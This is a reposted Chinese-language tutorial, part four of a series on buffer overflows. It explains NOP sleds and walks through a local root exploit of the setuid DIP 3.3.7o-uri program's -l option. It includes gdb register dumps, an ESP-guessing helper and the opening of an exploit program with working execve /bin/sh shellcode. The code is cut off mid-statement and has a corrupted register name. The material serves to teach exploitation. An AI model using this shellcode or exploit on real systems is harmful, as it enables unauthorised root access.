缓冲区溢出解密四

番茄系统家园 · 2022-03-12 02:06:37

来自Aleph1的文章:

“可见这不是一个有效的过程。甚至在知道堆栈开始的位置时,试图猜测偏移地址几乎是不可能的。好的情况下我会需要上百次尝试,坏的情况下会要上千次。问题是我们需要准确的猜测出我们代码将开始的地址位置。如果我们偏了大概一个字节,我们将得到一个段侵犯或者无效指令。一个提高我们机会的方法是在我们溢出缓冲区开头填NOP指令。几乎所有的处理器都有NOP指令执行一个空操作。它经常被用来为了时间目的延迟执行。我们将利用它,并且用它们填充我们一半的溢出缓冲区。我们将在中间放置我们的shellcode,接着在它后面跟着返回地址。如果我们走运,而返回地址指向NOP字符串的任何位置,它们将被执行直到它们遇到我们的代码。在Intel构架中,NOP指令是1个字节长在机器码中它转换成0x90。假设堆栈从地址0xFF开始,S表示shell代码,N表示一个NOP指令,新的堆栈可能看起来象这样:

bottom ofDDDDDDDDEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFF top of

memory89ABCDEF0123456789ABCDEF0123456789ABCDEFmemory

buffersfp ret a b c

这里,我们猜测地址。通过下面的子程序我们得到了当前存储在ESP寄存器中的地址:

unsigned long getesp()

{

__asm__("movl %esp, 陎");

}

有了上面这个函数的帮助,我们可以有一个内存中堆栈指针可能在哪儿的想法。接着,我们从这个SP的地址中减去偏移量。如果我们足够幸运的话,我们可以猜到缓冲区中一个NOP的地址。(然而,注意到getesp()不返回漏洞程序的ESP。它是我们漏洞利用程序的ESP。它仅仅考虑了一个范围。)

为了阐明这两个方法的不同之处,让我们写两个漏洞利用程序,应用一下目前为止我们所学的。

漏洞利用程序

现在我们知道了,什么是缓冲区溢出,知道如何利用缓冲区溢出覆盖返回地址,知道我们怎样能修改一个函数的返回地址,不必多说了。让我们编写漏洞利用程序。在DIP(Dial-Up IP Protocol)程序的3.3.7o-uri(8 Feb 96)版本中,有一个缓冲区溢出漏洞。在一些Linux发布版本中这个程序是默认setuid。

这个-l选项是有问题的。dip代码没有小心处理这个作为由用户传给程序的一个参数的值,没有边界检测,它仅仅stpcpy()作为参数的任何内容给一些本地缓冲区,这些缓冲区只能存有限的数据;因此增加了一个缓冲区溢出的风险。

漏洞代码如:

l = stpcpy(l, argv[i]);

如果你看stpcpy的手册页($man 3 stpcpy);stpcpy,不考虑它所处理的缓冲区的边界,它把整个数组拷贝给另外一个。这里我们需要做的是:

1.在Aleph的方法中,用一些NULL操作(NOP)填到至少一半的缓冲区,接着放置你的shellcode和猜测一个NOP或者shellcode本身的地址。2.在我们的方法中,由于我们准确的知道我们shellcode在内存中的位置,我们仅仅拷贝这个地址到整个数组。

[murat@victim murat]$ /usr/sbin/dip -k -l perl -e 'print "ABCD"x29'

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open

/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC

DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:

No such file or directory

[murat@victim murat]$ /usr/sbin/dip -k -l perl -e 'print "ABCD"x30'

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open

/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC

DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:

No such file or directory

Segmentation fault

[murat@victim murat]$

从上面可以看到,当我们写29个ABCD(29 * 4 = 116字节)什么都没有发生,然而当我们写30个ABCD(30 * 4 = 120 bytes)的时候,程序出现了段侵犯。它没有core dump,因为程序是setuid root权限的。让我们成为root,看看当我们给-l选项提供一个120字节的字符串时会发生什么:

[murat@victim murat]$ su

[root@victim murat]# gdb -q /usr/sbin/dip

(no debugging symbols found)...

(gdb) set args -k -l perl -e 'print "ABCD" x 30'

(gdb) r

Starting program: /usr/sbin/dip -k -l perl -e 'print "ABCD" x 30'

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open

/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC

DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:

No such file or directory

Program received signal SIGSEGV, Segmentation fault.

0x444342 in ?? ()

(gdb)

(gdb) i r

eax0xb4 180

ecx0xb4 180

edx0x00

ebx0x11

esp0xbffffcd4 0xbffffcd4

ebp0x41444342 0x41444342

esi0x44

edi0x805419e134562206

eip0x444342 0x444342

eflags 0x1024666118

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x2b 43

gs 0x2b 43

(gdb)

从这里可以看出,堆栈指针(ESP)和这个被保护的返回地址被我们的字符串”ABCD”覆盖了。在Ascii中:

A is 0x41, B is 0x42, C is 0x43, D is 0x44

注意到基本指针寄存器,它是:

ebp 0x41444342 0x41444342

这里的值是ADCB。这也意味着我们不能排列这个字符串。我们需要把字符串左移一个字节,这样ABCD适合一个4字节内存单元。这样的话:

(gdb) set args -k -l Aperl -e 'print "ABCD" x 30'

(gdb) r

Starting program: /usr/sbin/dip -k -l Aperl -e 'print "ABCD" x 30'

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open

/var/lock/LCK..AABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC

DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:

No such file or directory

Program received signal SIGSEGV, Segmentation fault.

0x44434241 in ?? ()

(gdb) i r

eax0xb5 181

ecx0xb5 181

edx0x00

ebx0x11

esp0xbffffcd4 0xbffffcd4

ebp0x44434241 0x44434241

esi0x44

edi0x805419e134562206

eip0x44434241 0x44434241

eflags 0x1024666118

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x2b 43

gs 0x2b 43

(gdb)

可以看到,我们多加了一个A到我们的缓冲区开头,这样现在EIP和EBP寄存器都是:0x44434241,即我们可以校正我们的字符串了。

我将写两个漏洞利用程序。每一个将用一个不同的方法。第一个将是”经典技术”而另外一个将是环境变量技术。你比较这两个时,你将很容易地看出之间的不同,并且明白没有必要去尝试猜测奇怪的偏移。请注意,环境变量方法只有当是本地漏洞的时候才有用。

这里是用经典方法的:

xdip2.c :

include

include

include

include

define BUF 130

define NOP 0x90

define ALIGN 1

char sc[]=

"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

unsigned long getesp()

{

__asm__("movl %esp, 陎");

}

void main(int argc, char *argv[])

{

int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
if (argc

让我详细说明这个漏洞利用程序:

我们定义我们的缓冲区为130个字节长,因为一个121字节的数组对于我们来说是足够了,定义NULL操作指令的运算码为0x90,Alignment为1。

1 免责声明: 凡标注转载/编译字样内容并非本站原创,转载目的在于传递更多信息,并不代表本网赞同其观点和对其真实性负责。如果你觉得本文好,欢迎推荐给朋友阅读;本文链接: https://m.nndssk.com/wlaq/192033dUF6T9.html
猜你喜欢
最新应用
热门应用